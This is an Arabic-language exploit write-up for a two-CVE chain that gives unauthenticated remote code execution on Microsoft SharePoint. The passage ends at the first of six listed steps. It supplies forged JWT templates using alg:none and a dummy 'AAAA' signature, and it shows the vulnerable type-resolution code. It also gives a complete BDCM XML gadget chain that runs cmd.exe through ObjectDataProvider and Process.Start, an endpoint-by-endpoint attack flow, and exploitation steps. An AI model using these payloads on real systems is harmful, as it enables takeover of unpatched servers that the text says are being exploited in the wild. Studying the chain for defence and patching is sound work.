
سلسلة استغلال لتنفيذ أوامر عن بُعد غير مصادق عليه في Microsoft SharePoint، تجمع بين تجاوز مصادقة JWT مع إنشاء نوع .NET غير آمن لتحقيق تنفيذ الكود بحساب الخدمة.
استغلال RCE غير مصادق عليه على Microsoft SharePoint Server. لا حاجة لأي بيانات اعتماد.
عرض Stephen Fewer (Rapid7) ثغرة CVE-2026-55040 في Pwn2Own Berlin 2026. ثم اكتشفت Rapid7 ثغرة CVE-2026-63520 أثناء أبحاث المتابعة، ووجدت VulnCheck بشكل مستقل سلسلة أدوات بديلة. معًا، تمنحك هاتان الثغرتان تنفيذًا عن بُعد غير مصادق عليه ضد أي خادم SharePoint غير مُحدَّث على الإنترنت.
أصدرت CISA تنبيهات خلال ساعات من نشر الـ PoC. يتم استغلالها في البرية.
ثغرتان، سلسلة واحدة:
| CVE | النوع | CVSS | ما الذي يُكسر |
|---|---|---|---|
| CVE-2026-55040 | تجاوز مصادقة JWT | 9.1 | التحقق من رمز S2S في SharePoint لديه أربع نقاط ضعف مستقلة. اربطها معًا وستُزوّر JWT صالحًا لأي مستخدم - بما في ذلك مسؤولو الموقع - دون معرفة كلمة المرور الخاصة بهم. |
| CVE-2026-63520 | إنشاء نوع .NET غير آمن → RCE | 8.1 | يقوم Business Data Connectivity (BDC) بحل أسماء أنواع .NET عشوائية من XML مرفوع دون أي قائمة سماح. وجّهه إلى ObjectDataProvider وستحصل على Process.Start(). |
لا تهم أي من الثغرتين بمفردها. تتطلب CVE-2026-63520 مصادقة. تمنحك CVE-2026-55040 المصادقة. معًا: RCE غير مصادق عليه كحساب خدمة SharePoint.
يستخدم SharePoint رموز JWT متداخلة لمصادقة الخادم إلى الخادم (S2S). يحمل الرمز الخارجي هوية المستخدم، بينما يمثل "رمز الممثل" الداخلي التطبيق المُستدعي. أربع نقاط ضعف في SPJsonWebSecurityTokenHandlerV2.ValidateToken() تجعل الأمر كله ينهار:
نقطة الضعف 1 - التحقق من التوقيع معطّل. يضبط المُتحقق RequireSignedTokens = false. يقبل الرمز الخارجي alg: none. لا حاجة لأي توقيع.
نقطة الضعف 2 - حل x5t دون تحقق. يتم حل مفتاح توقيع رمز الممثل بالبحث عن رأس x5t (بصمة الشهادة) في مخزن الشهادات. لا يتحقق SharePoint أبدًا مما إذا كان توقيع رمز الممثل يطابق هذا المفتاح فعليًا.
نقطة الضعف 3 - التحقق من المُصدر يقبل الشهادات غير المعروفة. ينجح ValidateIssuer() إذا لم تكن شهادة التوقيع في مجموعة TrustedSecurityTokenServices. شهادة STS الخاصة بـ SharePoint غير مسجلة هناك. لذا فإن الإشارة إليها عبر x5t تجتاز التحقق من المُصدر دون قيد أو شرط.
نقطة الضعف 4 - فحص توقيع غير تشفيري. يتطلب GetTokenSignature() سلسلة غير فارغة لكنه لا يقوم بأي تحقق تشفيري. أي قيمة تنجح. AAAA تنجح.
شهادة STS عامة. تلتقطها من /_layouts/15/metadata/json/1 - نقطة نهاية غير مصادق عليها - وتحسب بصمة SHA-1، وستحصل على كل ما تحتاجه.
الرمز الخارجي (يحمل هوية المستخدم):
// الترويسة
{"alg": "none", "typ": "JWT"}
// الحمولة
{
"aud": "00000003-0000-0ff1-ce00-000000000000/SPHOST@<realm>",
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "<SID أو UPN الهدف>",
"nii": "urn:office:idp:activedirectory",
"trustedfordelegation": "true",
"actortoken": "<JWT داخلي>"
}
// التوقيع: فارغ (alg:none)
رمز الممثل الداخلي (يمثل "التطبيق"):
// الترويسة
{"alg": "RS256", "typ": "JWT", "x5t": "<بصمة شهادة STS>"}
// الحمولة
{
"iss": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nameid": "00000003-0000-0ff1-ce00-000000000000@<realm>",
"nbf": 1756000000,
"exp": 1756003600
}
// التوقيع: "AAAA" (حرفيًا أي شيء غير فارغ)
ثلاث طرق لاختيار هوية:
| الوضع | nameid | nii | ما تحتاجه |
|---|---|---|---|
| SID | S-1-5-21-...-1605 | urn:office:idp:activedirectory | SID النطاق (عبر جلسة SMB فارغة) + تخمين RID |
| UPN | upn_bypass + مطالبة upn | urn:office:idp:activedirectory | UPN صالح (مثل [email protected]) |
| AccessToken | 0#.w|nt authority\local service | AccessToken | لا شيء. وصول محدود لكنه كافٍ لبعض السلاسل. |
تتيح خدمة Business Data Connectivity في SharePoint للمسؤولين تعريف مصادر بيانات خارجية عبر ملفات XML لنموذج BDC (.bdcm). تحدد هذه النماذج أنواع .NET التي يقوم BDC بإنشائها في وقت التشغيل.
المشكلة تكمن في DbTypeReflector.ResolveDotNetType():
// Microsoft.SharePoint.BusinessData.SystemSpecific.Db.DbTypeReflector
if (abstractTypeName.Length < 15)
{
return base.ResolveDotNetType(abstractTypeName, lobSystemStruct);
}
return Type.GetType(abstractTypeName, throwOnError: true); // أي نوع في GAC
أسماء الأنواع الأقل من 15 حرفًا تمر عبر محلل آمن. أي شيء أطول يستدعي Type.GetType() مباشرة - والذي يحل أي اسم نوع مؤهل بالتجميع من Global Assembly Cache. لا قائمة سماح. لا قائمة حظر. يتحكم المهاجم في abstractTypeName عبر XML الخاص بـ BDCM.
نستخدم System.Windows.Data.ObjectDataProvider من PresentationFramework. عند تعيين خاصية ObjectInstance الخاصة به، فإنه يستدعي MethodName على تلك النسخة. عيّن MethodName = "Start" و ObjectInstance = System.Diagnostics.Process مع StartInfo مُصمَّم، وسيقوم انعكاس مُعيِّن الخصائص في BDC بالباقي:
ObjectDataProvider created
→ MethodName = "Start"
→ ObjectInstance = Process
→ StartInfo.FileName = "cmd.exe"
→ StartInfo.Arguments = "/c <الحمولة>"
→ StartInfo.UseShellExecute = false
→ StartInfo.CreateNoWindow = true
→ property setter triggers QueryWorker()
→ BeginQuery() → InvokeMethodOnInstance()
→ Type.InvokeMember("Start") → Process.Start()
XML الخاص بـ BDCM الذي يحمل هذا:
<TypeDescriptor Name="ReturnRoot"
TypeName="System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<TypeDescriptors>
<TypeDescriptor Name="MethodName" TypeName="System.String">
<DefaultValues>
<DefaultValue ...>Start</DefaultValue>
</DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="ObjectInstance"
TypeName="System.Diagnostics.Process, System, ...">
<TypeDescriptor Name="StartInfo"
TypeName="System.Diagnostics.ProcessStartInfo, System, ...">
<TypeDescriptor Name="FileName" TypeName="System.String">
<DefaultValues><DefaultValue ...>cmd.exe</DefaultValue></DefaultValues>
</TypeDescriptor>
<TypeDescriptor Name="Arguments" TypeName="System.String">
<DefaultValues><DefaultValue ...>/c whoami</DefaultValue></DefaultValues>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptor>
</TypeDescriptors>
</TypeDescriptor>
وثّقت VulnCheck سلسلة بديلة باستخدام System.Web.UI.LosFormatter مع إلغاء تسلسل TypeConfuseDelegate عبر LobSystem من نوع DotNetAssembly. تعمل أدوات متعددة - البدائية الأساسية هي إنشاء أنواع غير مقيد.
المهاجم خادم SharePoint
│ │
│── GET /_layouts/15/metadata/json/1 ──▶│
│◀── شهادة STS (x5t + realm) ─────────│ (غير مصادق عليه)
│ │
│── جلسة SMB فارغة إلى DC ──────────────▶ وحدة تحكم النطاق
│◀── SID النطاق ────────────────────────│
│ │
│── تزوير JWT (alg:none + توقيع AAAA) ─│
│── POST /_api/contextinfo ──────────▶│
│◀── FormDigestValue ────────────────│ CVE-2026-55040: مصادق كمسؤول
│ │
│── POST /_api/web/lists ────────────▶│ إنشاء كتالوج BDC
│── POST .../Files/add(evil.bdcm) ──▶│ رفع سلسلة الأدوات
│── POST /_vti_bin/client.svc/ ──────▶│ تشغيل ProcessQuery
│ ProcessQuery │
│ │ CVE-2026-63520: Process.Start()
│ │ → cmd.exe /c <الحمولة>
│ │ → يعمل كحساب خدمة SP
ست خطوات:
/_layouts/15/metadata/json/1. لا حاجة لمصادقة. استخرج شهادة X.509 من keys[0].keyValue.value، واحسب تجزئة SHA-1 لها، وشفرها base64url. هذه هي x5t الخاصة بك. حقل issuer يعطيك realm.